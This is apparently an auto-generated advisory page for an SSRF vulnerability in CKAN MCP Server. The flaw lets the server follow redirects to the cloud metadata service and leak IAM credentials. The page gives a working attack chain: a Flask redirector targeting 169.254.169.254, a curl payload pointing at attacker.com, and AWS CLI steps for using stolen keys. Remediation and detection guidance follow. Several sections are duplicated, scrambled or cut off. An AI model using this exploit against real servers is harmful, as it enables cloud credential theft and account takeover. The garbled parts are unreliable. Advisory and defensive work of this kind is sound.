CVE-2026-76812 — Ondata Ckan-mcp-server — CWE-200 · CWE-306
CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.110, on the project's shipped HTTP deployment, an unauthenticated remote attacker can make the server issue requests to internal-only addresses and read the responses. Pointing the sparql_query tool at an attacker-controlled endpoint that redirects to the cloud instance-metadata service (http://169.254.169.254/…) causes the server to follow the redirect (no re-validation), fetch the metadata, and return it — including, on IMDSv1, temporary IAM role credentials. This yields remote credential theft and lateral movement into the victim's cloud account. This issue has been patched in version 0.4.110.
CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.110, on the project's shipped HTTP deployment, an unauthenticated remote attacker can make the server issue requests to internal-only addresses and read the responses. Pointing the sparql_query tool at an attacker-controlled endpoint that redirects to the cloud instance-metadata service (http://169.254.169.254/…) causes the server to follow the redirect (no re-validation), fetch the metadata, and return it — including, on IMDSv1, temporary IAM role credentials. This yields remote credential theft and lateral movement into the victim's cloud account. This issue has been patched in version 0.4.110.
🎯 What is this vulnerability?
This vulnerability is a Server-Side Request Forgery (SSRF) combined with Insecure Redirect Handling and Missing Authentication in the CKAN MCP Server.
Technical Flaw Analysis:
1. Missing Authentication (CWE-306): The HTTP deployment of the CKAN MCP Server exposes the sparql_query tool to unauthenticated remote attackers. There is no identity verification or API key requirement for this specific endpoint.
2. SSRF via Open Redirect (CWE-918): The server accepts a URL or endpoint parameter in the sparql_query tool. It initiates an HTTP request to this user-supplied address.
3. Lack of Re-validation on Redirects (CWE-200/CWE-918): Crucially, when the initial request receives an HTTP redirect (3xx status code) to an internal address (specifically the Cloud Instance Metadata Service at 169.254.169.254), the server does not re-validate the destination URL against a blocklist of internal/private IP ranges. It blindly follows the redirect.
4. Information Disclosure: The server fetches the content from the internal metadata service and returns the raw response body to the attacker.
Why it is Critical:
On cloud instances (AWS, GCP, Azure) using IMDSv1 (Instance Metadata Service version 1), the metadata endpoint does not require a session token. Therefore, an unauthenticated request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns temporary IAM role credentials. This allows an attacker to steal cloud credentials and pivot into the victim's cloud account.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Target Identification: The attacker scans for hosts running the CKAN MCP Server. This can be done via: * Shodan/Censys queries for open ports associated with the MCP server (commonly 8000, 8080, or 3000, depending on deployment). * Checking for the presence of the
- Version Check: The attacker attempts to identify the version. If the server does not disclose the version, the attacker can test for the vulnerability directly. If the request to the metadata service succeeds, the version is likely
< 0.4.110.
sparql_query endpoint or MCP-specific headers.
2. Exploitation
The attacker sets up a malicious redirector server (e.g.,attacker.com) that issues an HTTP 302 redirect to the cloud metadata service.Step A: Attacker's Redirector Server (Illustrative Python Flask Example)
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def redirect_to_imds():
# Redirect to AWS IMDSv1 IAM credentials endpoint
return redirect('http://169.254.169.254/latest/meta-data/iam/security-credentials/')Step B: Attacker's Exploit Payload
The attacker sends a request to the CKAN MCP Server's sparql_query tool, pointing it to the attacker's redirector.
Note: The exact JSON-RPC or HTTP endpoint structure for the MCP server may vary by implementation, but the core mechanism is passing the URL to the sparql_query tool.
Illustrative cURL Command:
# Replace <TARGET_HOST> with the IP/Hostname of the vulnerable CKAN MCP Server
# Replace <PORT> with the service port (e.g., 8000)
curl -X POST http://<TARGET_HOST>:<PORT>/mcp/sparql_query \
-H "Content-Type: application/json" \
-d '{
"tool": "sparql_query",
"parameters": {
"endpoint": "http://attacker.com/redirect"
}
}'Server Behavior:
1. CKAN MCP Server receives the request.
2. It initiates an HTTP GET to http://attacker.com/redirect.
3. Attacker's server responds with HTTP/1.1 302 Found and Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/.
4. CKAN MCP Server follows the redirect without checking if 169.254.169.254 is an internal IP.
5. The server fetches the IAM credentials from the cloud provider.
6. The server returns the JSON response containing AccessKeyId, SecretAccessKey, and Token to the attacker.
3. Post-Exploitation
1. Credential Theft: The attacker extracts the temporary IAM credentials from the response. 2. Cloud Account Compromise:# Configure AWS CLI with stolen credentials
aws configure set aws_access_key_id <STOLEN_ACCESS_KEY_ID>
aws configure set aws_secret_access_key <STOLEN_SECRET_ACCESS_KEY>
aws configure set aws_session_token <STOLEN_TOKEN>
# Verify access
aws sts get-caller-identity3. Lateral Movement:
* Access S3 buckets, RDS databases, and EC2 instances.
* Deploy malicious workloads.
* Exfiltrate sensitive data.
* If the IAM role has broad permissions (e.g., AdministratorAccess), the attacker gains full control over the cloud account.
🌍 Real World Impact
CVSS Vector Analysis: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching (Primary Solution)
sparql_query tool.
* Or, adding authentication requirements to the MCP server endpoints.2. Workarounds (If Immediate Patching is Not Possible)
A. Network-Level Restrictions (Most Effective)
* Use security groups or firewall rules to block outbound traffic from the host running the CKAN MCP Server to
169.254.169.254.Note:* This may break legitimate functionality if the MCP server itself relies on IMDS for its own credentials. If so, use IMDSv2 (which requires a session token) or restrict access to specific metadata paths.
* Place the MCP server behind a reverse proxy (e.g., Nginx, Apache) that requires authentication (e.g., API keys, OAuth) before forwarding requests to the MCP server.
* Example Nginx configuration:
location /mcp/ {
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://127.0.0.1:8000;
}B. WAF/ModSecurity Rules
sparql_query endpoint that contain internal IP addresses or redirect patterns.Note:* This is less reliable than network restrictions because the redirect happens server-side. The WAF sees the initial request to
attacker.com, not the redirect to 169.254.169.254. Therefore, network-level blocking of IMDS is superior.C. Disable the Vulnerable Tool
sparql_query tool is not required, disable it in the CKAN MCP Server configuration.3. Detection & IoCs
Web Server Logs (MCP Server):
sparql_query endpoint with endpoint parameters pointing to external domains.POST /mcp/sparql_query HTTP/1.1
Content-Type: application/json
{"tool": "sparql_query", "parameters": {"endpoint": "http://attacker.com/redirect"}}169.254.169.254 from the MCP server process.Cloud Provider Logs (AWS CloudTrail):
sts:GetCallerIdentity or other IAM API calls using the compromised temporary credentials.Network Traffic:
169.254.169.254.⚠️ Urgency
Priority: CRITICAL - Patch Immediately
169.254.169.254 from the MCP server host via security groups/firewall.
3. Rotate any IAM credentials that may have been exposed.
4. Audit cloud activity for signs of compromise.[🤖 CVE Professor AI Security Engine]
FOFA Query